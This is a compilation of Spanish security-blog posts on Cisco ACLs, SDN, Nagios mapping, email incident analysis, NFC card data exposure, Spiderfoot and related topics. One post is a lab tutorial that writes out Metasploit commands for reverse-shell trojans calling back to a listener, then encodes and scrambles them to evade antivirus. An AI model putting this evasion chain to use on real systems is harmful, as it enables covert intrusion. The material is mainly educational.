Security Art Work

Como ya hemos comentado en alguna ocasión en este blog, las listas de control acceso en dispositivos Cisco, en adelante ACLs, nos ayudan a identificar tráfico ‘interesante’ para que posteriormente sea procesado por el sistema. Las ACLs pueden usarse por varios motivos, siendo el más habitual la identificación de tráfico para su filtrado posterior sobre una de las interfaces del dispositivo (access-group). Otro uso habitual es la indentificación de tráfico interesante dentro de un cryptomap de una conexión VPN o cuando usamos NAT.

Sin entrar en detalle, podríamos considerar como las ACLs más usadas las siguientes:

• ACL estándar: nos permite identificar (autorizar o denegar) tráfico basándonos únicamente en la IP origen.
• ACL extendida: nos permite identificar tráfico a nivel 4, es decir, aparte por las direcciones IP origen/destino, podemos identificar protocolos o puertos TCP/UDP (incluido el flag established).

No obstante, existen otros tipos de ACLs, algunos de ellos que no aparecen nombrados aquí, que al menos yo prácticamente no he usado nunca:

• ACL nombrada: similar a las anteriores pero con la posibilidad de usar nombres en lugar de números.
• ACL dinamica (lock-and-key): donde necesitamos establecer una sesión autenticada con el dispositivo para autorizar el tráfico.
• ACL reflexiva: donde se autorizan las conexiones salientes y permitiendo la respuesta de dichas conexiones.
• ACL basada en tiempo: similar a la extendida pero con la posibilidad de poder establecer un control de acceso según un patrón horario.
• ACL basada en contexto (CBAC): donde podemos inspeccionar el tráfico para permitir accesos temporales a las sesiones establecidas, como retorno de las mismas o como conexiones adicionales.

Un caso que quizás nos podría llevar a confusión (a mi me pasó la primera vez que lo ví), sería por ejemplo cuando trabajamos con un switch de capa3, como podría ser el Cisco 3750, en donde podemos aplicar VACLs, es decir, aplicar ACLs a las Vlans existentes. Supongamos por ejemplo que tenemos una ACL como la siguiente:

ip access-list extended ACL_FILTRADO
 deny ip host 192.168.1.100 any
 permit ip 192.168.1.0 0.0.0.255 192.168.2.0 0.0.0.255

Si nos centramos únicamente en esta configuración, podríamos asumir que el tráfico de la dirección IP 192.168.1.100 será denegado; el tráfico desde la red 192.168.1.0/24 a la red 192.168.2.0/24 será permitido y finalmente, el resto de tráfico será denegado por defecto, ya que habitualmente asociamos las ACLs a un filtrado de tráfico en una interfaz, pero recordemos que estamos identificando tráfico para su procesado posterior.

Efectivamente, si después encontramos un comando access-group en una interfaz del dispositivo, nuestra suposición será correcta. No obstante, podemos encontrar una VACL sobre una de nuestras VLAN, en este caso la 22, de la forma:

vlan access-map VACL_FILTRADO 10
 match ip address ACL_FILTRADO
 action drop
vlan access-map VACL_FILTRADO 20
 action forward
vlan filter VACL_FILTRADO vlan-list 22

Según esta configuración, la ACL se comporta al contrario de lo que habíamos supuesto. El tráfico que hace match con ella la ACL (permit), será denegado (action drop), y el resto de tráfico se reenviará para su procesado.

Es muy importante tener presente que en una ACL estamos identificando tráfico el cual será procesado más tarde y no asumir por error, aunque es lo habitual, que un deny será tráfico denegado en el dispositivo. Esto nos ayudará a reducir el tiempo en un proceso de troubleshooting a nivel de red para centrarnos identificar y solucionar el verdadero problema.

Si queremos más información de ACLs en Cisco, podemos consultar los siguientes enlaces:

• http://www.cisco.com/c/en/us/support/docs/security/ios-firewall/23602-confaccesslists.html
• http://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst6500/ios/15-0SY/configuration/guide/15_0_sy_swcg/vlan_acls.html

Algo habitual a la hora de configurar una red donde podemos encontrar dispositivos de distintos fabricantes como switches o routers, es configurar los equipos de forma manual y por separado, lo cual, dependiendo de la complejidad de la red, puede llegar a hacer prácticamente imposible disponer de mejoras de forma rápida. Por ejemplo, para cubrir por ejemplo las necesidades de ancho de banda o conectividad de nuestros clientes.

Teniendo esto presente y más con la evolución en la actualidad de los sistemas cloud, donde ya se dispone de herramientas para gestionar y desplegar sistemas de forma prácticamente automática, disponer de una red compleja es algo poco factible de mantener de esta forma, por lo que grandes compañías están dedicando gran cantidad de recursos en encontrar una solución, de forma que la gestión de la red no sea nodo a nodo, como hemos dicho, muchas veces cada nodo de un fabricantes distinto, sino de forma centralizada. En la actualidad, ya se disponen de herramientas de gestión centralizada pero habitualmente suelen ser propietarias de cada fabricante.

Desde hace algunos años, todo esto ha dado lugar al concepto conocido como SDN (Software Defined Network), una red donde existe una separación entre el plano de control (control plane) y el de datos (data forwarding plane), dando lugar a la aparición de interfaces independientes que se encargan de gestionar este plano, de forma que sea posible disponer de redes más flexibles y automatizables.

Aparte de la mejora notable a la hora de gestionar la red, por ejemplo a en cuanto a tiempo se refiere, podríamos pensar en la simplificación de los dispositivos de red, ya que éstos dejarían de entender y procesar protocolos diversos y simplemente aceptarían instrucciones del controlador SDN. A nivel de seguridad, también podríamos filtrar el tráfico anómalo en distintos dispositivos de forma centralizada o redirigir dicho tráfico a nuestro IDS o firewall para inspeccionarlo.

(Imagen de la Wikipedia por Denwid)

Dentro de estas interfaces destacaría, por ser la primera, OpenFlow, un protocolo abierto creado por Open Networking Foundation, para permitir la gestión remota de tablas de enrutamiento. No obstante, existen otras interfaces como ONOS, de Open Networking Lab, Netconf/Yang, o directamente la gestión habitual mediante SNMP.

Actualmente, SDN se encuentra en una etapa inicial donde esta siendo adoptada por grandes operadores, proveedores de cloud o centros de investigación, aunque se prevé que para final de este año empiecen a aparecer de forma masiva aplicaciones y controladores SDN en el mercado. A pesar de ello, ya se dispone de una lista de equipos con soporte en la web de ONF, como la arquitectura Cisco ONE para la progamacion y provision automaticada de la red, o contrail de Juniper.

En esta entrada vamos a presentar un complemento para Nagios llamado Nagmap. Es una herramienta que nos va a permitir representar geográficamente los dispositivos monitorizados en Nagios. Nagmap utiliza la API de Google Maps para ubicar en el mapa los dispositivos a través de las coordenadas de cada uno de ellos. Nagmap se alimenta de los ficheros de configuración incluidos en nagios.cfg y del fichero de estado de los dispositivos status.dat. De estos ficheros obtiene los datos necesarios de cada host o dispositivo y, si tienen la información necesaria, los ubicará en el mapa.

Para que un dispositivo pueda ser representado tiene que tener, al menos, los siguientes campos completados en el fichero de definición de hosts correspondiente de Nagios:

define host{ 
	host_name         localhost 
        alias             localhost 
       	address           127.0.0.1 
        notes             latlng:+41.9031536,-1.726998500000036
	} 

Como se puede observar, el campo “notes” ha sido designado por Nagmap para indicar las coordenadas geográficas de este dispositivo. El formato en el cual hay que indicar las coordenadas para que Nagmap las reconozca tiene que ser:

latlng:latitud,longitud

A modo de ejemplo, vamos a instalar Nagmap en un servidor en el que ya se encuentra Nagios funcionando. Comenzamos descargando Nagmap desde la página de su proyecto. Una vez descargado, descomprimimos el fichero, lo renombramos y lo movemos al directorio correcto del servidor web (Apache).

$ wget https://github.com/hecko/nagmap/archive/master.zip
$ unzip master.zip 
$ mv nagmap-master /var/www/html/nagmap

En este momento ya está disponible a través de la URL que hayamos indicado en la configuración del servidor web:

Como se puede ver en el mapa, han sido dibujados los “markers” o “pinchos” coloreados de cada uno de los dispositivos con información sobre su estado. Además, dispone de un pequeño cuadro de mandos en el “sidebar” con información estadística sobre el estado y, una lista de todos los dispositivos representados.

Supongamos ahora que una empresa tiene cientos de sucursales repartidas por el territorio nacional. Si quisiera visualizar el estado de la conexión a la red de cada una de ellas en Nagmap, la cantidad de “pinchos” dibujados dificultaría una visión clara del estado de las oficinas.

Como posible solución, podemos modificar el código PHP de Nagmap para establecer un filtro de modo que solo muestre aquellas oficinas cuyo estado sea anormal (distinto de “OK”). Esto simplifica enormemente la visualización de aquellas oficinas con problemas de conexión, que realmente son las que nos interesan. Una posible modificación para conseguir este resultado sería modificar el fichero marker.php de Nagmap de la siguiente forma:

File marker.php

line 140 ===	//put markers and bubbles onto a map 
line 146 ---	$javascript .= ("window.".$h["host_name"]."_pos = new ...
line 149 ===	// if host is in state OK 
line 151 ---	$javascript .= ('window.'.$h["host_name"]."_mark = new google.maps.Marker({". 
line 152 ---	"\n  position: ".$h["host_name"]."_pos,". 
line 153 ---	"\n  icon: 'http://www.google.com/mapfiles/marker_green.png',". 
line 154 ---	"\n  map: map,". 
line 155 ---	"\n  zIndex: 2,". 
line 156 ---	"\n  title: \"".$h["nagios_host_name"]."\"". 
line 157 ---	"});"."\n\n"); 
line 159 ---	$sidebar['ok'][] = '<a href="javascript:'.$h["host_name"] ...	 
line 160 ===	// if host is in state WARNING 
line 162 +++	$javascript .= ("window.".$h["host_name"]."_pos = 
new google.maps.LatLng(".$h["latlng"].");\n"); 
line 171 ===	// if host is in state CRITICAL / UNREACHABLE 
line 173 +++   	$javascript .= ("window.".$h["host_name"]."_pos = 
new google.maps.LatLng(".$h["latlng"].");\n"); 
line 182 ===    	// if host is in state UNKNOWN 
line 184 +++   	$javascript .= ("window.".$h["host_name"]."_pos = 
new google.maps.LatLng(".$h["latlng"].");\n"); 
line 194 ===	// if host is in any other (unknown to nagmap) state 
line 195 +++   	$javascript .= ("window.".$h["host_name"]."_pos = 
new google.maps.LatLng(".$h["latlng"].");\n"); 
line 218 +++	//COMPROBAR SI STATUS != OK, PARA QUE GENERE INFO BUBBLE 
line 219 +++	if ($h['status'] != 0) { 
line 224 +++	}

Tras esta modificación, tan solo se mostrarán en el mapa las oficinas que tengan un estado de error. En el “sidebar” seguirán apareciendo las estadísticas generales pero solo se mostrará el listado de las oficinas con problemas (ha desaparecido “localhost” porque su estado es “OK”).

Como hemos visto, podemos crear vistas personalizadas del estado de los dispositivos de nuestra red, además, puede utilizarse como un cuadro de mandos meramente informativo para los ejecutivos de la empresa si lo personalizamos algo más, por ejemplo:

• Personalizar los “pinchos” con unos diseño más adecuado.
• Incluir un “header” de empresa en la interfaz web.
• Añadir información al globo: dirección postal de la oficina, población, teléfono, etc. (para esto habría que modificar el código para que Nagmap procese los campos correspondientes, al igual que se realiza con “notes”).
• Personalizar las opciones disponibles en config.php de Nagmap : zoom en el mapa, centrado, estilo del mapa (roadmap, satellite, hybrid, terrain).

¡Os animo a que juguéis con la API de Google Maps y con Nagmap, ya que el código es bastante amigable y se pueden hacer cosas muy interesantes!

Una de las tareas más repetitivas cuando se gestionan incidentes es el análisis de alertas relacionadas con correos electrónicos.

Cuando se recibe un correo, ya sea relacionado con un spear phishing o una alerta de IDS hay ciertas cosas que se deben mirar, ya sea para el análisis del incidente actual, como puede ser en el caso de las cabeceras o ficheros adjuntos, o para un posterior análisis, como determinar los receptores más habituales que aparecen en una campaña dirigida.

Para realizar todo este trabajo que es bastante tedioso, llevaba un tiempo queriendo escribir un script que hiciera la parte de extracción de datos de manera automática, de forma que pudiera tener todos los datos que necesitase poner un informe tan solo copiando y pegando, pudiendo así emplear más tiempo en el análisis de los adjuntos realmente interesantes. He podido sacar algo de tiempo y escribir una primera versión en modo quick and dirty y con pocas funcionalidades añadidas.

Funcionalidades

Como funcionalidad básica está la extracción de los datos de las cabeceras, es decir, remitente, receptores, asunto e identificador del mensaje. Además de estos datos por separado, también se extraen las cabeceras completas, ya que pueden ser necesarias para la investigación y nos permite en un vistazo saber los saltos que ha realizado ese correo para llegar a su destino.

Además de estos datos, es interesante conocer las direcciones IP implicadas en el correo, por lo que el script también las extrae y, por defecto, chequea el historial de dominios que resuelven a esa dirección y que tienen al menos una detección en Virustotal (VT).

Para la revisión de los correos con contenido malicioso se extraen los datos relativos a los archivos adjuntos del correo y los enlaces que se puedan encontrar en el cuerpo del mensaje. Además se comprueban los ficheros extraídos en VT.

En este último caso, únicamente se comprueba el hash del fichero, no se envía nunca el fichero a VT, ya que en ese caso podríamos estar exponiendo información confidencial en el caso de se tratase de un ataque dirigido.

Script

No hay mucho que comentar del script, es bastante simple, aunque empezaron siendo unas 40 líneas y ya va por más de 200 y me gustaría comentar algún detalle.

El primer detalle en el que me quiero parar es en el uso de Virustotal. En las partes del código en la que se llama a las rutinas de análisis de direcciones IP y de archivos adjuntos, se ha puesto un contador que se reinicia al llegar a 4. Esto es para que el script sea usable con la API pública de VT, la cual limita el número de peticiones a un máximo de 4 por minuto.

Por cierto, para que esto funcione necesitáis meter vuestra clave de la API en la variable global VT_API que se encuentra al comienzo del script.

Tened en cuenta que el script es usable pero está en alpha y es posible tanto que falle, como que cambie bastante en las próximas semanas, así que si os interesa permaneced atentos a las actualizaciones en github.

Con la opción -vt se saltan los chequeos en Virustotal.

Aquí os dejo el link del script.

Ejecución

Para lanzar el script basta con ejecutar:

$ python mailextractor.py -f mail.eml

En mi caso lo hago sobre un correo al que luego le he modificado una de las cabeceras para que contenga una IP con detecciones en VT, un fichero que previamente he escaneado en VT y otro que no.
El correo es el siguiente:

Al ejecutar el script nos da los datos del correo:

Las cabeceras, entre las que se incluye la cabecera falsa:

Análisis de las direcciones IP encontradas en las cabeceras:

Se puede ver que en la dirección falsa que he metido salen varios dominios que en algún momento resolvieron a esa dirección IP con algún positivo en Virustotal.

Y por último el análisis de los ficheros adjuntos:

Se ven ficheros: lotus.jpg y mlwre_logo.png. Ambos son imágenes. Subrayado se puede ver que el fichero lotus.jpg ha sido analizado anteriormente en Virustotal y que en el momento del análisis ningún antivirus lo detectó como positivo.

Todo

También os dejo algunas de las ideas que planeo realizar en el script y que no he podido terminar para este post:

• Limpiar el código.
• Análisis de todos los correos almacenados en un directorio.
• Distintos formatos de salida (txt, html, etc).
• Checkeo de URL y direcciones IP contra blacklist.
• Opción para el envío de los ficheros a analizar a Virustotal.
• Muchas ideas para incorporar otros servicios como malwr.com.

Cualquier idea o comentario para mejorarlo es bienvenida, también podéis enviar actualizaciones o errores a través de la página de github.

NOTA: La función para extraer el cuerpo del mensaje a veces falla, estoy trabajando en ella.

NOTA2: Si los análisis de VT fallan a menudo podéis solucionarlo subiendo el tiempo de espera, lo he dejado en 30 segundos para no eternizar la ejecución del script.

Recordarán que, tras la divulgación de las revelaciones de Edward Snowden en relación con las actividades de la NSA, y las diferentes evidencias que comenzaron a surgir en relación con la monitorización y el análisis de la actividad en la red de los ciudadanos del mundo en general y el espionaje dirigido de cerca de dos tercios de los líderes mundiales, a la administración nortemericana no le quedó más remedio que entonar el ya famoso: “Lo siento, me equivoqué. No lo volveré a hacer más”.

Que está muy bien, pero que no es suficiente. De pequeñito me enseñaron que la secuencia era algo así como examen de conciencia, dolor de los pecados, propósito de enmienda y cumplir la penitencia. En este caso se ha limitado al propósito de enmienda y poco más. Alguna propuesta de iniciativa legislativa, algún posicionamiento de cara a la galería, y no mucho más. Aquí paz y después gloria.

Supongo que estarán al tanto de la noticia. USA acusa formalmente de ciberespionaje industrial a cinco militares chinos. Nada nuevo que no sepamos. Todos sabemos a qué juega China. Pero como todos sabemos también, en esto de la ciberguerra no hay ni buenos ni malos, pues el que no corre vuela.

Lo que me ha llamado la atención es la rotundidad y diligencia con la que se está tratando el tema. Ha habido una reacción airada de la administración norteamericana con protesta oficial y acusación formal incluida, y se están tomando medidas inmediatas de respuesta.

Porque claro, aquí no se están vulnerando los derechos de privacidad de las personas. Aquí se trata de intereses empresariales, intereses estratégicos y de defensa. Con la iglesia hemos topado, amigo Sancho.

Recapitulemos. Quien antes se consideraba con derecho, en defensa de su seguridad nacional, a espiar a los ciudadanos de todo el mundo, ahora reacciona airadamente y clama al cielo porque otro está haciendo lo mismo, sólo que ahora contra sus intereses económicos y empresariales.

Quiero dejar muy claro que no estoy defendiendo el derecho de China a llevar a cabo estas prácticas, ni mucho menos. Además, sabemos que no se dedican a esto desde hace poco. Son pioneros en temas de ciberespionaje y ciberguerra. Pero a la vez, creo que ha quedado meridianamente claro cuáles son las prioridades en materia de ciberdefensa, y qué intereses prevalecen sobre qué derechos.

Quizás por no haber prestado mucha atención, gran número de usuarios ya disponen de una de las nuevas tarjetas de crédito sin contacto (NFC) y no tienen ni idea de lo que eso significa. A primera vista son iguales que las anteriores, la única diferencia exterior es un símbolo que representa unas ondas para indicar la presencia de la nueva funcionalidad.

Hace poco, ví a un compañero pagar en un restaurante con su tarjeta de crédito NFC. La camarera procedió a cobrarle acercando la tarjeta al punto de venta (TPV) móvil. Y sin pedirle más cosas, la terminal imprimió el recibo para confirmar la transacción. La característica que más nos llamó la atención fue la posibilidad de realizar compras sin tener que introducir el PIN, siempre y cuando el pago no sobrepase los 20€.

Navegando un poco por internet y después de leer “Hacking the NFC credit cards for fun and debit ;)” se puede ver que es posible recuperar datos personales de manera sencilla ya que no van protegidos y/o cifrados. Entre otros, se puede llegar a obtener:

• Nombre y Apellidos.
• Número de tarjeta de crédito.
• Fecha de Caducidad.
• Track2 de la banda magnética.
• Historial de compras.

Lo que no devuelven es el código de seguridad CVV (menos mal), aunque existen páginas web (p.e. Amazon) que no piden ese código para aceptar los pagos.

Requisitos materiales para investigar un poco:

• Disponer de una tarjeta de crédito NFC o como en mi caso tener un compañero a quien pedir ‘amablemente’ que nos deje jugar con su tarjeta.
• Un lector de NFC: En este caso reutilizamos nuestro Touchatag que nos permite comunicar con la tarjeta de crédito basada en la ISO 14443. También se puede usar un móvil con NFC.

En cuanto a software podemos encontrar varios programas junto a su código fuente. Recomiendo revisar el código y compilarlo nosotros mismos. No hay que fiarse y usar software ya compilado tanto en PC como en Android pues no sabemos si por detrás mandan los datos a algún lugar de dudosa reputación.

Aquí cabe destacar que se usa el estándar EMV que es el mismo que se usa en las tarjetas de crédito Smartcard (tarjetas con chip). En poco minutos tenemos armado un sistema para la lectura de datos.

Funciona con la mayoría de los casos y tarjetas, pero con la tarjeta de mi compañero ningún programa de los usados consiguió respuesta, parece que la haya bastionado antes de dejármela.

Después de estar investigando el código fuente de varios programas, podemos ver que la mayoría (o todos) necesitan una lista de tarjetas soportadas. Lo que hacen es probar los AID de una lista hasta que la tarjeta responde correctamente a alguno de ellos (en el siguiente post de la serie destriparemos un poco el protocolo que usan las tarjetas).

¿Es algún nuevo tipo de protección? Para resumir… ¡No! Simplemente que la tarjeta no está en la lista de tarjetas soportadas y no conocemos su AID. ¿Como hace entonces el TPV para seleccionar la AID correcta? Existe un directorio que le dice cual es la AID a seleccionar. ¿Solución? Lo implementamos nosotros.

Personalmente me basé en el readnfccc. Para hacerlo un poco más universal, le agregué la lectura del PPSE (directorio con información relativa al pago sin contacto) para sacar el AID correcto. También existe el PSE que corresponde al directorio con información relativa al pago insertando la tarjeta en un terminal que soporta solamente Smartcard.

Se puede encontrar el código fuente en GitHub.

¿Cómo protegerse?

• Usar una cartera especial que actúa como jaula de Faraday y no permite el paso de ondas. O envolverla en papel de plata.

  

• Inutilizar la antena de la tarjeta haciendo un pequeño agujero por donde pasa. Estas tarjetas disponen de una antena formada por unas pistas que rodean la tarjeta. Haciendo un corte o un agujero en la pista anula la comunicación NFC de la tarjeta dejando intacto el chip y la banda magnética.

  

• Se rumorea que un par de segundos en el microondas puede quemar el chip NFC, pero unos segundos más pueden dejar inutilizable la smartcard. Con unos cuantos segundos más se puede conseguir prenderle fuego (que no es la idea, pero soluciona el problema ;). Al ser una ciencia poco exacta y tratándose de rumores este ultimo método no es recomendable y se menciona a titulo de anécdota.

En el próximo post analizaremos con un poco más de detalle el protocolo EMV y su implementación en tarjetas NFC. Finalmente en otro post analizaremos algunos ataques posibles.

En este artículo vamos a ver a ver cómo crear un troyano que no detecten los antivirus, elemento en cuya protección la mayoría de usuarios y empresas delegan toda la seguridad de sus equipos.

Obviando proyectos tan interesantes como http://www.flu-project.com, lo cierto es que fabricar un troyano indetectable por los antivirus puede ser relativamente fácil. Una herramienta que nos permite realizar este tipo de tareas, y con la que toda persona que se dedique a seguridad debe estar familiarizado es Metasploit, así que vamos a realizar diferentes pruebas con Metasploit y sus payload.

Metasploit tiene diferentes módulos que nos pueden ayudar a crear nuestro troyano. Los más comunes son reverse_tcp y reverse_https. Metasploit nos propone varias opciones para hacer nuestro troyano un poco más indetectable para los antivirus, pero primero vamos a hacer un par de pruebas sin ninguna de estas opciones. La máquina que va a estar escuchando es la 192.168.56.102 y la que va a ser infectada la 192.168.56.101.

Primero creamos uno con el módulo reverse_tcp

msfpayload windows/meterpreter/reverse_tcp LPORT=6666 
   LHOST=192.168.56.102 X >reverse_tcp_1.exe

Ahora otro con el modulo reverse_http

msfpayload windows/meterpreter/reverse_tcp LPORT=8080 
   LHOST=192.168.56.102 X >reverse_http_1.exe

Probamos que todo ha funcionado correctamente:

Reverse_HTTP:

Reverse_TCP:

Ahora que sabemos que todo funciona, pasamos los dos ejecutables por virustotal a ver que resultados nos dan. Como vemos, los resultados son bastante esperanzadores, más de la mitad de los antivirus lo detectan.

Metasploit tiene diferentes módulos para encodear los ejecutables, vamos a usar el shikata_ga_nai:

msfpayload windows/meterpreter/reverse_tcp LPORT=6666 
   LHOST=192.168.56.102 r |msfencode –e x86/shikata_ga_nai 
   –c10 –b ‘\x00’ –t exe –o reverse_tcp_encoded.exe

msfpayload windows/meterpreter/reverse_http LPORT=8080 
   LHOST=192.168.56.102 r |msfencode –e x86/shikata_ga_nai 
   –c10 –b ‘\x00’ –t exe –o reverse_http_encoded.exe

Los resultados son muy parecidos a los anteriores:

Como no cesamos en nuestro empeño, hay otra utilidad que nos puede servir de ayuda: PEScrambler. Es una utilidad que cambia pequeñas porciones de código de sitio.

El uso es muy fácil:

PEScrambler.exe -i reverse_tcp_encoded.exe -o reverse_tcp_encoded_PES.exe

PEScrambler.exe -i reverse_http_encoded.exe -o reverse_http_encoded_PES.exe

Aquí vemos como los resultados mejoran considerablemente:

Como muchos de vosotros sabéis -y para los que no, os lo contamos ahora-, desde S2 Grupo tenemos en marcha diferentes líneas de trabajo relativas a la concienciación, a la consolidación de una cultura de seguridad que, a todos los niveles, trate de introducir la seguridad en nuestro día a día, más allá del ámbito profesional en el que todos nos movemos: colectivos especialmente desprotegidos, ciudadanos, etc.

Por este motivo, es para nosotros un placer anunciar que ayer el Honorable Sr. D. Juan Carlos Moragues, Conseller de Hacienda y Administración Pública de la Generalitat Valenciana, junto con la Directora General de Tecnologías de la Información de Generalitat Valenciana, Dña. Sofía Bellés y D. Juan Pablo Peñarrubia, Presidente del Colegio Oficial de Ingenieros en Informática de la Comunidad Valenciana, presentó con motivo del próximo día de Internet el libro “Seguridad para todos en la Sociedad de la Información”.

El contenido de dicho libro ha sido creado por el Centro de Seguridad TIC de la Comunidad Valenciana junto con la colaboración de S2 Grupo, y editado por el colegio de Ingenieros Informáticos, para ser puesto de forma gratuita al alcance de toda la comunidad internauta.

Se trata de un libro destinado al gran público en el cual se tratan todos aquellos temas relacionados con la seguridad de la información en el ámbito personal, abarcando temas tan dispares y amplios como los siguientes:

• Seguridad global de la información
• Malware
• Navegación segura
• Correo electrónico
• Compras online
• Redes sociales y mensajería instantánea
• Equipos portátiles
• Seguridad inalámbrica
• Teléfonos inteligentes
• Los menores en Internet
• Redes P2P
• Juegos online
• Delitos tecnológicos

La publicación del libro tiene por finalidad crear una cultura de seguridad que ayude a los ciudadanos a identificar las posibles amenazas a las que se ven expuestos, así como aprender a protegerse y reaccionar adecuadamente ante las mismas, todo ello enmarcado dentro de las acciones de la Agenda Digital de la Comunitat Valenciana que en breve se publicará. Además al final del libro se incluye un cuestionario donde el lector podrá poner a prueba los conocimientos adquiridos.

Por supuesto, es necesario reconocer el trabajo de todo el equipo del área de Seguridad de S2 Grupo, en especial el de las personas que están o han estado destinadas a CSIRT-cv (Alberto, Raúl, Adrián, Maite… y los que se me olvidan) y el del equipo de la propia Generalitat Valenciana, tanto del Servicio de Seguridad de la Información como, específicamente, el de CSIRT-cv, con especial mención a Carmen, Lourdes y Xavi, por el esfuerzo que todos hemos realizado para que esta publicación vea la luz. Sin olvidar, obviamente, el trabajo del Colegio Oficial de Ingenieros en Informática, con Juan Pablo y Héctor a la cabeza, en la coordinación y maquetación de esta publicación.

El libro puede ser descargado tanto desde la web de S2 Grupo, como desde la web de recursos de CSIRT-cv.

Hace un par de semanas llegó a mis oídos la existencia de una herramienta open source que nos puede ser útil a la hora de realizar las primeras fases de un pentesting: reconocimiento y mapping de servicios. Realizar estas primeros pasos de forma concienzuda puede hacer que las siguientes fases de nuestro pentesting puedan ser más dirigidas y eficaces a la hora de encontrar las posibles vulnerabilidades de nuestro objetivo.

Spiderfoot, es una herramienta open source creada por Steve Micallef (@binarypool) que fue publicada por primera vez en el año 2005 y llegó a formar parte del temario de la certificación de hacking ético (CEH) durante 2009.

La primera versión estaba escrita en C#. A partir de ahí hubo un paréntesis de 7 años en su desarrollo hasta que en el 2012 el autor decidió retomar el proyecto y hacerla más portable, funcional y extensible, reescribiéndola enteramente en Python, dotándola de un interfaz web y almacenando los datos de los resultados en una base de datos SQlite3.

A día de hoy la versión publicada es la 2.1.5 y sigue en continua evolución y está disponible para Windows y para Linux.

Spiderfoot cuenta con varios módulos dedicados a recoger información y tratarla extrayendo datos relevantes de distintos ámbitos (dns, contenido web, whois, Virustotal, Shodan, etc.) que nos serán de utilidad a la hora de realizar tareas de OSINT (Open Source Intelligence).

Los módulos reciben ciertos elementos (URL, códigos http, direcciones de correo electrónico) en forma de eventos, y entonces actúan sobre ellos para que a su vez generen nuevos eventos que serán consumidos por otros módulos de la aplicación.

Entre los módulos disponibles, está sfp_dns que realiza búsquedas a partir de las ips/URLs introducidas, sobre servidores DNS obteniendo direcciones ip, registros MX/NS, etc. También cuenta con el módulo sfp_spider que inspeccionará todas las páginas de un sitio web extrayendo su contenido para usarlo en posteriores búsquedas.

Instalación

Si la instalamos sobre un sistema operativo Linux, la aplicación está escrita en Python 2.6-2.7, por lo que necesitaremos esta versión para ejecutar la aplicación, así como instalar las siguientes dependencias, que pueden ser instaladas usando el gestor de paquetes de Python PIP.

$sudo pip install lxml
$sudo pip install netaddr
$sudo pip install M2Crypto
$sudo pip install cherrypy
$sudo pip install mako

Una vez instaladas las dependencias descargaremos el código de la aplicación:

git clone https://github.com/smicallef/spiderfoot.git

Tras esto ejecutaremos la aplicación usando el interprete de Python. Si no especificamos el puerto en que estará escuchando el servidor como parámetro en el momento de la ejecución, por defecto lo hará en el puerto 5001/tcp:

cd spiderfoot/
$sudo python ./sf.py 127.0.0.1:6666

En caso de instalarlo sobre un sistema Windows, todas las dependencias vienen incluidas en el ejecutable de instalación. Una vez ejecutado el servidor podremos acceder al interfaz apuntando nuestro navegador a la ip y puerto seleccionado.

En la primera página podremos configurar los escaneos; spiderfoot proporciona un alto nivel de granularidad a la hora de seleccionar los campos sobre los que se recogerá información. Podremos seleccionarlos por elemento (Imagen 1) o por módulo (Imagen 2).

En el apartado de settings podremos configurar entre otro nuestra clave API de virus Total, Shodan, parámetros de las consultas DNS, puertos a escanear, y una multitud de opciones que iremos viendo más adelante.

Y con esta breve introducción finaliza la primera parte. En siguientes artículos entraremos en profundidad en otros aspectos y utilidades de esta herramienta.

Si estás interesado, aquí puedes encontrar un listado exhaustivo de cursos de Python: CourseDuck Python courses

Ya se ha hablado varias veces en este blog de las bondades que nos ofrece Python, se han recomendado lecturas y algunas librerías útiles en el mundo de la seguridad, pero como me considero una persona organizada y me gusta tener todo centralizado, inicio mis andadurías por este blog con una serie de artículos dedicados al uso de Python en el pentest.

De python hay que destacar principalmente su facilidad de aprendizaje y uso incluso para alguien sin nociones o con unas muy bajas de programación. El código es multiplataforma y solo requiere del intérprete instalado en el sistema. En sistemas Linux suele venir preinstalado y contiene un ecosistema muy amplio y variado de paquetes que nos facilitarán cualquier tarea, bien nativas en Python o bindings que permiten el uso de la librería en C.

La gestión de paquetes se puede realizar fácilmente por medio del gestor de paquetes nativo del sistema o por medio de gestores de paquetes específicos para Python, como pueden ser pip o easy_install. También como ultimo recurso podremos descargarnos la librería del repositorio oficial e instalarla manualmente, por medio de install.py o instalar el .egg con uno de los gestores de paquetes específicos de Python. Para ver la cantidad de paquetes “oficiales” de la que disponemos podemos echarle un vistazo a PyPI.

[Read more…]